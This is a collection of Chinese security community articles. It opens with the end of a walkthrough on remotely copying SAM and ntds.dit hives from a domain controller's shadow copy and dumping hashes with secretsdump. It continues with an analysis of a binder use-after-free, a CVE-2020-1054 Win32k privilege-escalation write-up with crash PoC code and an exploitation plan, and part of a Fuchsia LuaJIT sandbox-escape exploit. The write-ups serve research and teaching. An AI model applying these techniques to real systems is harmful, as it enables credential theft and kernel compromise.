我们希望从`SMB共享`中复制文件，不仅是从`C $`共享中复制文件，而且要从我们创建的特定卷影副本中复制文件。
在Windows资源管理器中，卷影副本也称为`以前的版本`，可以通过打开某个文件夹的属性，然后导航到`“以前的版本”`选项卡来列出它们。
这些早期版本也可以从命令行访问，命令行是以`@`符号开头的某种格式的日期。 基于`$
c`变量中存储的卷影副本，我们将在以下PowerShell命令行中复制文件的路径。
PS C:\> $p = '\\{0}\C$\{1}\Windows\System32\config' -f $h,$c.InstallDate.ToUniversalTime().ToString("'@GMT-'yyyy.MM.dd-HH.mm.ss")
PS C:\> $p
\\DC01.mydomain.local\C$\@GMT-2020.04.19-19.34.01\Windows\System32\config
编译路径后，我们将使用复制命令将目标文件复制到本地磁盘（在本例中为C:\tmp）。
由于尝试从卷影副本路径复制文件时创建卷影副本可能会花费一些时间，因此将导致错误提示，即该路径不存在。 在这种情况下，请稍等，然后重试。
如果要从域控中获取密码哈希，也可以使用此方法从（默认情况下）`％SystemRoot％\ NTDS`文件夹中远程获取ntds.dit文件。
PS C:\> copy $p\SYSTEM C:\tmp
PS C:\> copy $p\SECURITY C:\tmp
PS C:\> copy $p\SAM C:\tmp
然后关闭连接
PS C:\> $c | Remove-CimInstance
PS C:\> $s | Remove-CimSession
## hash破解
使用impacket即可
### SAM
secretsdump.py -system SYSTEM -security SECURITY -sam SAM LOCAL
### ntds.dit
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
在线破解hash即可
## 如何发现这种攻击?
* 查看主机日志,出现事件ID 7036，表明已启动Microsoft软件卷影复制提供程序服务
* 主机之间的RPC / DCOM和SMB网络异常连接通常无法通信
## 最后
由于蓝方会越来越注重监视系统网络以及机器本身上的活动，所以红队更多地倾向于使用Windows本机管理工具来进行攻击。
该攻击表明，使用WMI和SMB，您可以在PowerShell中完美地做到这一点.
[原文链接](https://bitsadm.in/blog/extracting-credentials-from-remote-windows-system) | 社区文章 |
## 前言
前一段时间Project Zero的Jann Horn披露了几个binder中的漏洞[3]，这里学习一下，做个笔记。
## 基础知识
### Linux文件系统
Linux从诞生以来，一直用struct task_struct来表示进程/线程，用struct file表示打开的文件，用struct
inode表示文件本身。struct file和struct inode的区别在于，如果两次open同一个文件，会有两个struct
file对象指向同一个struct inode对象。
最早的Linux内核直接把元素为struct file*的定长数组放在struct task_struct里。2.6.14 引入了struct
fdtable作为files_struct的间接成员，把fd、max_fds、close_on_exec等成员移入fdtable。这么做是为了方便采用RCU，让fdtable可以整体替换。
从int fd取到struct file*
fp的途径：current->files->fdt->fd[fd]。实际的代码比这个要复杂，因为files->fdt这一步(fdt=files_fdtable(files))要用rcu_dereference来做(上图的红线)。
### task work机制
task
work机制可以在内核中向指定的进程添加一些任务函数，这些任务函数会在进程返回用户态时执行，使用的是该进程的上下文。在task_struct结构体中有一个task_works成员来存储这些待进行的任务链表头。
task_work_add函数把work添加到链表头。
task_work_run函数执行task_work_add函数添加的work。
### fdget函数和fdput函数
fget函数从 **文件描述符表** 中读取 **文件描述符** 时，会增加 **文件描述符** 的引用计数 **f_count**
。相对应的，fput函数会减少 **f_count** 。这样做的一个负面影响是经常访问这个文件的话包含 **f_count**
的缓存行就会一直是脏的。如果多个任务并行，就会发生cache line
bouncing(当很多线程在频繁修改某个字段时，这个字段所在的缓存行被不停地同步到不同的核上，就像在核间弹来弹去)。
Linux提供了fdget函数和fdput函数避免这种开销。fdget函数检查 **文件描述符表** 的引用计数 **count**
是否为1，如果是则意味着当前任务拥有 **文件描述符表** 的唯一所有权，那么fdget函数不会增加 **f_count** 。fdget函数根据是否已获取
**f_count** 在其返回值中设置一个标志，fdput函数根据这个标志使用普通的fput函数的逻辑或者什么也不做。详情请见下面3.13版的源代码。
使用时sockfd_lookup_light函数和fput_light函数搭配；fdget函数和fdput函数搭配。
在3.13之后发生了一点小变化，目前(5.0)，原来的fget_light函数被替换成__fget_light函数，并且不再使用fput_needed而是FDPUT_FPUT标志，当然原理是一样的。sockfd_lookup_light函数调用fdget函数最终调用到__fget_light函数，fput_light函数并没有发生变化。
### android中的binder通信机制
binder是一种android中实现IPC(Inter-Process Communication)的方式。这里只通过简单介绍Service
Manager让读者快速了解与漏洞有关的知识，读者如果有兴趣深入分析binder可自行查阅网上资料。
Service
Manager是binder的核心组件之一，它扮演者binder上下文管理者的角色，同时负责管理系统中的Service组件，并向Client组件提供获取Service代理对象的服务。
(binder.c指的是/frameworks/native/cmds/servicemanager/binder.c，binder驱动指的是内核的/drivers/android/binder.c)
上图是Service
Manager的时序图。在service_manager.c中首先通过binder_open函数打开/dev/binder，然后调用binder_become_context_manager函数告诉binder驱动程序自己是binder上下文管理者，最后调用binder_loop函数进入消息循环等待client的请求。
binder_fops变量是struct file_operations类型，指定了各种操作的函数。
binder.c中的binder_become_context_manager函数调用的ioctl函数就是binder驱动中的binder_ioctl函数。
binder_ioctl函数提供了很多命令，我们重点关注BINDER_WRITE_READ，它也是最重要的一个命令之一。处理这个命令的是binder_ioctl_write_read函数。
该命令下又分为若干子命令，与漏洞有关的一个命令是BC_FREE_BUFFER，它告诉binder驱动释放数据缓冲。binder_ioctl_write_read函数中继续调用binder_thread_write/binder_thread_read函数，binder_thread_write/binder_thread_read函数中处理这个命令的是binder_free_buf函数。
在binder_free_buf函数中首先调用binder_transaction_buffer_release函数释放相关引用，真正的释放在binder_alloc_free_buf函数中。
在binder_transaction_buffer_release函数中对于与漏洞有关的BINDER_TYPE_FDA类型(文件描述符数组)，会调用ksys_close函数关闭它们。
## 漏洞解析
### 漏洞原理
显而易见使用fdget/fdput需要遵守下面这三条规则，这三条规则也写在__fget_light函数之前的注释里了，简单的说就是：
A)当前task在fdget函数和fdput函数之间时，不可以复制它。
B)必须在系统调用结束之前使用fdput函数删除通过fdget函数获取的引用。
C)在fdget函数和fdput函数之间的task不能在与fdget函数相同的文件描述符上调用filp_close函数。
这个漏洞违反的就是第三条规则。因为fdget函数和fdput函数没有改变文件描述符引用计数，如果调用filp_close函数就造成UAF了。根据我们刚才的分析，在binder_transaction_buffer_release函数中对于与漏洞有关的BINDER_TYPE_FDA类型(文件描述符数组)，会调用ksys_close函数关闭它们。ksys_close函数通过调用__close_fd函数最终会调用filp_close函数。而ksys_ioctl第一步就是调用fdget函数。
考虑下面这种情况：
client和manager两个task通过binder通信。client打开了/dev/binder，文件描述符编号是X。两个任务都是单线程的。
1.manager给client发送一个包含BINDER_TYPE_FDA的binder消息，其中包含一个文件描述符
2.client读出binder_io中的binder_buffer_object，得到binder_buffer_object中的文件描述符Y
3.client使用dup2(X,Y)用/dev/binder覆盖文件描述符Y
4.client unmap掉用户态的binder内存映射，现在client的/dev/binder的引用计数是2
5.client关闭文件描述符X，现在client的/dev/binder的引用计数是1
6.client对文件描述符X调用BC_FREE_BUFFER来释放传入的binder消息，client的/dev/binder的引用计数减为0
### 漏洞利用
因为fput函数使用task
work机制的原因，这还并不会造成KASAN可以检测到的UAF，所以用下面的方式构造POC。漏洞存在于linux内核和wahoo内核，这里只分析linux内核中的情况。Project
Zero给出的POC中有五个文件。binder.c和binder.h对servicemanager中的binder.c和binder.h进行了一些改动；使用compile.sh编译exploit_client.c得到exploit_client，编译exploit_manager.c得到exploit_manage；0001-binder-upstream-repro-aid.patch文件patch内核增加一些log信息和msleep函数调用。重点看exploit_client.c、exploit_manager.c和binder.c。
1.manager给client发送一个包含BINDER_TYPE_FDA的binder消息，其中包含一个文件描述符
这里的bio_put_fda函数是加在binder.c里面的。
2.client读出binder_io中的binder_buffer_object，得到binder_buffer_object中的文件描述符Y
这里为了能够传递文件描述符在binder_call函数中对flags也进行了改动。
3.client使用dup2(X,Y)用/dev/binder覆盖文件描述符Y
4.client unmap掉用户态的binder内存映射，现在client的/dev/binder的引用计数是2
5.client关闭文件描述符X，现在client的/dev/binder的引用计数是1
6.client创建一个子进程child复制文件描述符表，现在client的/dev/binder的引用计数是2
7.client对文件描述符X调用BC_FREE_BUFFER来释放传入的binder消息，client的/dev/binder的引用计数减为1
8.child调用close(X)，将client的/dev/binder的引用计数减为0然后将其释放
9.client尝试获取binder_proc，此时KASAN检测到UAF
### 补丁情况
我翻了一下linux内核中binder.c的commit记录找到了补丁的细节[4]。原来的ksys_close函数被换成了binder_deferred_fd_close函数。
这个函数先调用了__close_fd_get_file函数，然后利用我们前面讲解的task
work机制调用task_work_add函数添加了一个binder_do_fd_close函数。
__close_fd_get_file函数和原来的__close_fd函数的区别在于它把fd对应的struct
file*保存到了binder_task_work_cb结构体中。
当我们从ioctl返回之后，task_work_run函数执行binder_do_fd_close函数，此时才会去执行ksys_close函数。
## 参考资料
1.[Linux 内核文件描述符表的演变](https://zhuanlan.zhihu.com/p/34280875 "Linux
内核文件描述符表的演变")
2.[Android Binder机制(三)
ServiceManager守护进程](http://wangkuiwu.github.io/2014/09/03/Binder-ServiceManager-Daemon/ "Android Binder机制\(三\) ServiceManager守护进程")
3.[Issue 1719: Android: binder use-after-free via fdget() optimization
](https://bugs.chromium.org/p/project-zero/issues/detail?id=1719 "Issue 1719:
Android: binder use-after-free via fdget\(\) optimization ")
4.<https://github.com/torvalds/linux/commit/80cd795630d6526ba729a089a435bf74a57af927> | 社区文章 |
# CVE-2020-1054分析
|
##### 译文声明
本文是翻译文章，文章原作者 0xeb-bp，文章来源：0xeb-bp.github.io
原文地址：<https://0xeb-bp.github.io/blog/2020/06/15/cve-2020-1054-analysis.html>
译文仅供参考，具体内容表达以及含义原文为准。
该文章对今年5月微软发布的安全漏洞CVE-2020-1054进行分析分析。漏洞存在于Win32k内核模块中，利用该漏洞最终会造成权限提升。该漏洞由Check
Point Research的Netanel Ben-Simon和Yoav Alon以及奇虎360 Vulcan
Team的bee13oy报告。他们在今年的OffensiveCon20会议上发表了名为 [Bugs on the Windshield: Fuzzing
the Windows Kernel](https://research.checkpoint.com/2020/bugs-on-the-windshield-fuzzing-the-windows-kernel/) 的演讲。在演讲中详细介绍了他们找到这个bug的过程。
## 产生的崩溃
Netanel和Yoav提供了[崩溃代码](https://cpr-zero.checkpoint.com/vulns/cprid-2153/)。
通过这段代码能够直接找到产生崩溃的关键位置，不再需要通过BinDiff进行补丁比对。
int main(int argc, char *argv[])
{
LoadLibrary("user32.dll");
HDC r0 = CreateCompatibleDC(0x0);
// CPR's original crash code called CreateCompatibleBitmap as follows
// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
// however all following calculations/reversing in this blog will
// generally use the below call, unless stated otherwise
// this only matters if you happen to be following along with WinDbg
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
SelectObject(r0, r1);
DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
return 0;
}
代码中相关的函数
`CreateCompatibleBitmap`和`DrawIconEx`的参数、用法及返回值内容可以在[微软官方文档](https://docs.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap)上查到。
我的第一步是在Rust中重写代码并在Windows 7 x64机器上运行它，并在Windbg得到了崩溃时的Context。
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: fffff904c7000240, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff960000a5482, If non-zero, the instruction address which referenced
the bad memory address.
Arg4: 0000000000000005, (reserved)
Some register values may be zeroed or incorrect.
rax=fffff900c7000000 rbx=0000000000000000 rcx=fffff904c7000240
rdx=fffff90169dd8f80 rsi=0000000000000000 rdi=0000000000000000
rip=fffff960000a5482 rsp=fffff880028f3be0 rbp=0000000000000000
r8=00000000000008f0 r9=fffff96000000000 r10=fffff880028f3c40
r11=000000000000000b r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po cy
win32k!vStrWrite01+0x36a:
fffff960`000d5482 418b36 mov esi,dword ptr [r14] ds:00000000`00000000=????????
STACK_TEXT:
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x722
nt!KeBugCheckEx+0x104
nt!MmAccessFault+0x736
nt!KiPageFault+0x35c
win32k!vStrWrite01+0x36a
win32k!EngStretchBltNew+0x171f
win32k!EngStretchBlt+0x800
win32k!EngStretchBltROP+0x64b
win32k!BLTRECORD::bStretch+0x642
win32k!GreStretchBltInternal+0xa43
win32k!BltIcon+0x18f
win32k!DrawIconEx+0x3b7
win32k!NtUserDrawIconEx+0x14d
nt!KiSystemServiceCopyEnd+0x13
USER32!ZwUserDrawIconEx+0xa
USER32!DrawIconEx+0xd9
cve_2020_1054!CACHED_POW10 <PERF> (cve_2020_1054+0x106d)
崩溃时的 `rip` 指向的指令是 `mov esi,dword ptr [r14]` 这条指令在win32k当中
`win32k!vStrWrite01+0x36a` 在这个位置设置一个断点，能够得到下面的结果。
很明显，崩溃是由于无效的内存引用而发生的，这和windbg中显示的漏洞类型一样。
CheckPoint网站上对这个漏洞的描述是它是一个越界（OOB）写入漏洞。
假设崩溃时访问的地址 `0xffff904'c7000240`
是能够通过OOB控制其中内容的。这里需要注意的是，下面的文章中使用的地址均为`0xffff904'c7000240`
，这个值在每次程序执行的过程中都会更改。
## 控制越界访问
我们的第一个目标是了解如何控制地址 `fffff904'c7000240` ，该地址将称为oob_target。
为此，需要对vStrWrite01的相关代码进行逆向分析。 从 `mov esi，dword ptr [r14]` 指令开始
通过 `lea r14, [rcx + rax*4]` 设置 `r14` 寄存器
接着 `rcx` 寄存器在 `vStrWrite01` 函数的地一个基本块当中被初始化，然后在下面的循环中继续处理
`rcx` 寄存器在循环中会一直加上一个常数值，通过汇编指令 `add ecx, eax` 实现，对应伪代码如下:
var_64h = 0x7fffffff;
var_6ch = 0x80000000;
while ( r11d )
{
--r11d;
if ( ebp >= var_6ch && ebp < var_6ch )
{
// oob read/write in here
}
++ebp;
ecx += eax;
}
循环结束之后得到了 `oob_target` 的地址
oob_target = initial_value + loop_iterations * eax
接下来需要弄清楚的是循环的次数，查看汇编代码，发现 `ebp` 通过如下的指令被设置
mov rsi, rcx // rcx在这里依然是arg0
...
mov ebp, [rsi]
这说明 `ebp` 是 `vStrWrite01` 函数`arg0` 参数的第一个4字节。可以在调试器当中获取这个值。
win32k!vStrWrite01:
fffff960`00165118 4885d2 test rdx,rdx
kd> dd rcx L2
fffff900`c4c76eb0 fff2aaab 0006aaab
`fff2aaab` 这个数字有些特别，并且我们感觉到了这个数字和 `DrawIconEx` 函数的第五个参数有关。我们将 `DrawIconEx`
函数的参数修改成 `febffffd`
得到下面的结果
win32k!vStrWrite01:
fffff960`00165118 4885d2 test rdx,rdx
kd> dd rcx L2
fffff900`c2962eb0 fff2aaac 0006aaaa
结果变成了 `fff2aaac` 这个结果表明它确实和第五个参数有关。我们继续对这个参数进行实验，修改 `arg5` 并且观察最后得到的
`oob_target` 的结果
我们发现当 `arg5` 为 `ff000000` 的时候，会修改 `oob_target` 的结果，崩溃在了不同的地方
win32k!vStrWrite01+0x31d:
fffff960`00165435 3b6c246c cmp ebp,dword ptr [rsp+6Ch]
kd> dq rcx
fffff903`c7000240 ????????`???????? ????????`????????
如果修改 `arg5` 为 `fd00000` 崩溃的结果又有了些许不同
win32k!vStrWrite01+0x31d:
fffff960`00165435 3b6c246c cmp ebp,dword ptr [rsp+6Ch]
kd> dq rcx
fffff90a`c7000240 ????????`???????? ????????`????????
有趣的是，无论arg5的值如何， `oob_target` 的低32位仍为 `c7000240` 。 此外，arg5值的减少（按无符号处理）会导致
`oob_target` 的值增加。
`oob_target` 当中的 `eax` 通过 `r15` 当中的 `offset` 来设置。
`r15` 当中的偏移量通常在 `vStrWrite01` 函数的开始使用，这表明 `r15`
可能是一个指向某个结构体的地址。在第二个基本块当中，通过如下的指令设置`r15` 。
mov r15, r8 // r8 is still arg2 here
`r15` 当中的值就是 `vStrWrite01`的第二个参数。通过调试器查看函数的第二个参数中的内容：
红色框标记了两个参数的值。 第一个红色框内是传递给 `CreateCompatibleBitmap` 的 `arg1` （表示位图宽度 0x51500）和
`arg2` （表示位图高度 `0x100` ）。 第二个红色框标记了一个值 `c7000240` ，该值在之前也见过。 这是 `oob_target`
的低32位。 最后，蓝色框中的数据表示了用来计算 `oob_target` 的 `eax` 的值。
在Win32k bitmap的内存布局中，上面的内容可能看起来很熟悉，并且确实是Windows内核利用中众所周知的两个相邻结构， `BASEOBJECT`
和 `SURFOBJ` 。 换句话说，第一个红色框是 `SURFOBJ.sizlBitmap` ，第二个红色框是 `SUFOBJ.pvScan0`
，蓝色框是 `SURFOBJ.lDelta` 。
有关这些结构的更多信息，请参见[此处](https://www.coresecurity.com/core-labs/articles/abusing-gdi-for-ring0-exploit-primitives)。
接下来需要知道如何通过 `DrawIconEx` 函数的 `arg5` 控制 `oob_target` 当中的值。此步骤的实现与上面过程类似，但有其他步骤。
因此，仅共享结果。 [我GitHub上](https://github.com/0xeb-bp/cve-2020-1054)的 `notes.txt`
文件中包含了相关的细节。
通过逆向sys文件的代码我们发现， `DrawIconEx` 的第5个参数对循环次数的影响主要逻辑如下：
# arg5 of DrawIconEx()
arg5 = 0xffb00000
# arg1 of CreateCompatibleBitmap()
arg1 = 0x51500
loop_iterations = ((1 - arg5) & 0xffffffff) // 0x30
lDelta = arg1 // 8
oob = loop_iterations * lDelta
upper32_inc = oob & 0xffffffff00000000
print("loop_iterations = %x" % loop_iterations)
print("lDelta = %x" % lDelta)
print("upper 32 inc. = %x" % upper32_inc)
`CreateCompatibleBitmap` 函数的 `arg1` 和 `DrawIconEx` 的 `arg5` 直接控制
`loop_iterations` 和 `lDelta` 的值。 但是， `oob_target` 的低32位始终保持不变。
这意味着只有写地址的高32位是可控的。
下一步是确定写入的内容以及可以控制的程度。查看 `vStrWrite01` 的代码发现在执行过程中存在两次写操作：
// write 1
win32k!vStrWrite01+0x417
mov dword ptr [r14],esi
// write 2
win32k!vStrWrite01+0x461
mov dword ptr [r14],esi
其中 `esi` 寄存器的值由以下两个分支当中的一个所决定。
要么是通过亦或运算得到，要么是通过与运算得到。
通过下面的参数调用 `DrawIconEx` 函数
DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
通过上面的参数调用 `DrawIconEx` 函数，在代码的执行过程中将只进行 **按位与** 的运算。 因为 `esi` 是通过按位操作设置的，所以
`DrawIconEx` 的 `diFlags` （arg8）参数应该是一个非常重要的参数。 当前调用将此参数设置为 `0x6` 。
查看该标志的文档，可以发现 `0x6` 等同于 `DI_IMAGE` ， `DI_IMAGE` 标志表示“使用图像绘制图标或光标”。 使用标志
`DI_MASK` 试试能不能够改变程序的执行流程，发现将 `diFlags` （arg8）设置为0x1，即 `DI_MASK`
，可以将执行流程更改为OR分支。
## 漏洞利用
现在已经了解了OOB写入的功能，是时候考虑我们的漏洞利用方法了。目前所获得的原语与“任意地址写”还相距甚远。但是，在这种情况下，我们有可能利用[空字节溢出](https://heap-exploitation.dhavalkapil.com/attacks/house_of_einherjar.html)达到最终的目的。
关于这个部分的漏洞利用方法，强烈建议读者重温一下 [Abusing GDI
Reloaded](https://github.com/redogwu/study-pdf/blob/master/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf) 以及 [Abusing GDI for ring0 exploit
primitives](https://www.coresecurity.com/core-labs/articles/abusing-gdi-for-ring0-exploit-primitives)。下面我简单的介绍一下。
SURFOBJ 结构体当中包含了 `pvScan01` 和 `sizlBitmap`这两个关键的结构体。 `pvScan01` 指向了实际的
`Bitmap` 数据。 这些数据可以通过`GetBitmapBits` 和 `SetBitMapBits` 函数来设置。`sizlBitMap`
是两个Dword，包含位图的高度和宽度。 通常Windows中会使用两个 SURFOBJ 结构体。通过任意地址读写覆盖掉第一个 SURFOBJ
的`pvScan01`
，把他的值写成第二个SURFOBJ结构体中的`pvScan01`的地址，之后就能够实现可重用、可重定位的任意地址写漏洞利用原语了。任意地址写(write
what where)的what和where分别由两个值决定。
what is a value either bitwise OR'd or AND'd
where is a value >= fffff901'c7000240
显然这不符合传统pvScan01漏洞利用的要求，但是幸运的是，还有一个利用 `sizlBitmap`
的选项。在Window7和Windows10的老版本中，SURFOBJ结构提和他的 `pvScan01` 成员变量在内存中是连续的。因此如果增加
`sizlBitmap` 的宽和高就可以使用 `SizeBitMapBits` 的调用来做到越界写，影响到SURFOBJ后面的 `pvScan01` 变量。
如果在第一个SURFOBJ后面还有一个SURFOBJ的话，这个SURFOBJ对象的 `pvScan01` 成员指针就能够被覆写掉。然后可以通过
`SetBitMapBits` 将第二个SURFOBJ对象用于任意地址写。
总结到目前为止获得的信息，漏洞利用的过程如下
1. 申请一个基本的bitmap (fffff900’c700000)
2. 申请足够多的SURFOBJs(通过CreateCompatibleBitmap)这样其中一个会被分配在(fffff900’c700000)
1. 另一个SURFOBJ会被分配在第一个的后面
2. 同时第三个SURFOBJ会被分配在第二个的后面
3. 计算出 loop_iterations * lDelta 的值，让这个值等于 `fffff901'c7000240`
4. 通过越界写修改掉第二个SURFOBJ对象的 `sizlBitmap`
5. 将第二个SURFOBJ作为参数，通过 `SetBitMapBits` 函数覆盖掉第三个SURFOBJ对象的 `pvScan01` 指针
6. 接下来就能够做到任意地址写
7. 修改进程的token并且往 `winlogon.exe` 当中注入shellcode做到EoP（权限提升）
一个简单的示意图如下：
除了步骤3之外，其他的步骤都能够很容易的完成。写入的值，我们不用考虑，因为根据他的代码，我们可以执行按位或的运算。这样可以通过按位或运算增加某个数的值。
精确的定位 `sizlBitmap` 的高度或者宽度才是一个挑战，这两个值是通过 `lea r14 [rcx + rax * 4]`
来设置的。但是现在我们还没有找到 `rax` 的值是怎么被设定的。如果能够控制 `rax` 的值，就能够实现精确的越界写。
经过测试不同的参数，我们发现 `DrawIconEx` 函数的第一个参数决定了 `rax` 寄存器的值， `rax` 之后会除0x20:
这就让我们能够设置从低32位开始的偏移量：
offset = (arg1 // 0x20 ) * 0x4 + 0x240
当测试 `DrawIconEx` 函数的 `mov dword ptr[r14], esi` 指令也提供了有用的信息。
`DrawIconEx`函数的arg2控制了循环的次数，决定了写操作被迭代了多少次。举个例子，如果arg2被设置成了0x5，那么将执行5次写操作（如下图所示）。
写入地址之间的距离差值由 `lDelta` 决定。这里可以用伪代码表示如下：
intial_value = 0xfffff901`c7000240 + (arg1 // 0x20) * 0x4;
loop_count = 0;
while(arg2)
{
write_location_1 = intial_value + lDelta * loop_count;
write location_2 = write_location_1 + 4;
--arg2;
++loop_count;
}
需要根据目标的地址解出三个值，这样才能够精确控制循环，让他在某一次的循环过程中 `write_location_1` 和
`write_location_2` 能够恰好落在surfobj1的 `csizBitmap` 上。这三个值分别为 `arg1` `arg2` 和
`IDelta` （Bitmap的宽 // 8）
通过python能够爆破出这几个值来
print("bruting function arguments...")
# start with size at 0x50000
for size in range(0x50000, 0xffffff):
lDelta = size // 0x8
# lDelta is always byte alligned so ignore if not
if lDelta & 0x0f == 0:
for arg1 in range(0x0, 0xfff, 0x20):
offset = (arg1 // 0x20) * 0x4 + 0x240
for arg2 in range(0x0,0x10):
write_target = offset + arg2 * lDelta
if write_target == 0x70038:
print("found: size {:x}, offset (arg1) {:x}, lDelta {:x},
loop_count (arg2) {:x}".format(size, arg1, lDelta, arg2))
既然已经理解了所有值，剩下的就是编写漏洞利用代码。
## 漏洞利用代码
[漏洞利用代码](https://github.com/0xeb-bp/cve-2020-1054)能够在Github上面找到
## Windows 7 KB
当在Windows7上面测试的时候代码是非常的稳定的，当然，这还有继续改进的空间，使得内存地址的计算更加的通用。在测试的过程中，我发现某一个Windows
KB稍微修改的SURFOBJ的结构体，他里面的 `pvScan0`
成员偏移不再是0x240，而是0x238。在漏洞利用代码中有两条注释，标记了要使用的值，具体的值取决于Windows 7是在KB之前还是在KB之后。
**Thanks to Netanel Ben-Simon, Yoav Alon and bee130y for finding the bug:** | 社区文章 |
# Frawler(2)
上一篇我们主要分析了现成的luajit沙箱逃逸exp为什么不能直接使用，过程中我们弄明白了luajit的原理了，这下对我们在zircon内进行分析就有一定好处了，因为在zircon内没有调试器可以用（或者是我不方便编译出来使用），所以对luajit的熟悉可以让我们一方面快速识别出内嵌在目标可执行文件内的luajit代码，从而明白到底现在在发生什么。
虽然没有调试器，但是在fuchsia内如果触发了setfault是会有dump信息显示在fuchsia boot
console里的，这也是为什么我们具有没有调试器也可以把exp调出来的可能。
在这一部分我首先讲述一下我按照@david492j的思路，以及参考他的exp完成我的exp的过程，最后再来分析为什么在linux里调试成功的luajit沙箱逃逸代码在fuchsia里没起作用。
## david的思路
这里再次感谢@david492j不吝啬与我这样的菜鸡分享思路。。
### 精准猜测
按照他的说法，由于之前"PANIC"的信息（在上一篇中已经分析了为什么会出现这样的信息），他们以为在fuchsia内jit是不能直接使用的。这么看他们应该是直接在fuchsia内进行操作了，这里可以看出真正大佬的自信。。我完全不敢保证在没有调试器的情况下我的代码和我想的一样。。这也是为什么我会非常需要在linux里先调试一遍。
不过这非常巧妙的让他们绕过了一个大坑。。因为事实上我们上一篇中调好的luajit沙箱逃逸代码并不能使用，具体原因我在后文会尝试去分析。
### 大佬的思路
按照他们的思路，在原exp中虽然不能直接使用，但是其中的任意地址读写（其实后来调试发现是4字节范围内）和任意地址调用是可以使用的，我分开测试也发现了这一点。
所以他们采用了直接利用任意读写和泄露去完成利用。
回想一下我们在fuchsia内和linux利用上的几点不同：
1. 无法调试（这一点可以通过查看崩溃时的dump日志来解决）
2. 无法直接进行系统调用
其他部分似乎差距并不大，所以思路上也没有太大差距：
1. 泄露text_base
2. 有了text_base配合任意读写可以泄露libc(ld.so.1，在fuchsia内与libc为同一个文件）
3. 之后有任意地址调用，可以调用mprotect之后再跳到shellcode。
但是第3点就需要有连续两次能控制的跳转，第一次跳转到mprotect，第二次跳转到shellcode。由于目标代码有luajit，mprotect并不是一个很大的问题，我们可以直接复用luajit内的mprotect的部分。之后第二次跳转到shellcode。但是如何去找到连续两个能控制的跳转呢？
这里就不得不佩服大佬的思路了。回想一下哪里的函数指针最多？当然是`FILE`结构体啦，于是在`FILE`相关的函数附近，大佬使用了`fflush`，我自己也找了一下，还发现了libc内`0x32e50`位置的函数也是两个连续的函数指针调用：
__int64 __fastcall sub_32E50(int64_t *a1, __int64 a2, unsigned int a3)
{
__int64 v3; // r13
unsigned int v4; // er12
__int64 result; // rax
v3 = a2;
v4 = a3;
if ( a3 == 1 )
v3 = a2 - (a1[2] - a1[1]);
if ( a1[5] > (unsigned __int64)a1[7] )
{
((void (__fastcall *)(int64_t *, _QWORD, _QWORD))a1[9])(a1, 0LL, 0LL); // <-- 第一次
if ( !a1[5] )
return 0xFFFFFFFFLL;
}
a1[4] = 0LL;
a1[7] = 0LL;
a1[5] = 0LL;
if ( ((__int64 (__fastcall *)(int64_t *, __int64, _QWORD))a1[10])(a1, v3, v4) < 0 ) // <-- 第二次
return 0xFFFFFFFFLL;
*(_DWORD *)a1 &= 0xFFFFFFEF;
result = 0LL;
a1[2] = 0LL;
a1[1] = 0LL;
return result;
}
然后参数上，第一个参数，在这里是`FILE`结构体指针，而在任意跳转的时候第一个参数是`lua_State`的指针，好在这个指针的内存是可写的，我们又恰好有任意地址写，所以可以通过直接把`lua_State`按照要求进行伪造，就可以成功进行两次调用了。
所以这样的exp巧妙又简洁，还避免了一个大坑。
另外几个细节的解决：
1. 泄露：在原exp中是存在泄露的，采用了一个空字符串去相对找位置，我没有详细阅读这一部分的代码，我估计和python处理比较类似，为了加速字符串可能会把空字符串等这种可以直接处理为常量存在某个data位置或是State附近，看起来luajit是存在了State附近。这样我通过dump了这个附近的内存去，再通过崩溃日志去查看有没有能够出现libc或是text地址的地方，事实上这样是能找到的，毕竟可能有一些函数指针之类的会存在`State`内
2. `State`所在地址：这个地址测试后发现不存在aslr，固定地址
3. 关于设置原exp中`fshellcode`指向目标（也就是要调用的目标地址）和`mctab`任意写之间的顺序：这里有个小坑，就是按照原exp的顺序会在中间崩溃掉，我仔细思考了一下，其实`mctab`的任意写是在lua里完成的，中间会涉及大量的luajit字节码处理逻辑，而写入又是一个一个写入的，我们在设置`fshellcode`的时候存在一些泄露操作，不仅仅是单一的赋值，所以有可能在执行luajit字节码的过程中出现了损坏。想到调换顺序还是比较容易的，一方面`mctab`的赋值格式统一，二方面尽量减少赋值和调用之间的逻辑过程，避免出现意想不到的错误。
在解决了这几个细节之后，配合上已经想好的思路就没有太大的难度了。
### exploit
create.tpl.lua (生成用于loadstring的字节码，我进行了hex encode，留出shellcode的部分)
-- The following function serves as the template for evil.lua.
-- The general outline is to compile this function as-written, dump
-- it to bytecode, manipulate the bytecode a bit, and then save the
-- result as evil.lua.
local evil = function(v)
-- This is the x86_64 native code which we'll execute. It
-- is a very benign payload which just prints "Hello World"
-- and then fixes up some broken state.
-- local shellcode =
{SHELLCODE_TPL}
-- The dirty work is done by the following "inner" function.
-- This inner function exists because we require a vararg call
-- frame on the Lua stack, and for the function associated with
-- said frame to have certain special upvalues.
local function inner(...)
if false then
-- The following three lines turn into three bytecode
-- instructions. We munge the bytecode slightly, and then
-- later reinterpret the instructions as a cdata object,
-- which will end up being `cdata<const char *>: NULL`.
-- The `if false` wrapper ensures that the munged bytecode
-- isn't executed.
local cdata = -32749
cdata = 0
cdata = 0
end
-- Through the power of bytecode manipulation, the
-- following three functions will become (the fast paths of)
-- string.byte, string.char, and string.sub. This is
-- possible because LuaJIT has bytecode instructions
-- corresponding to the fast paths of said functions. Note
-- that we musn't stray from the fast path (because the
-- fallback C code won't be wired up). Also note that the
-- interpreter state will be slightly messed up after
-- calling one of these functions.
local function s_byte(s) end
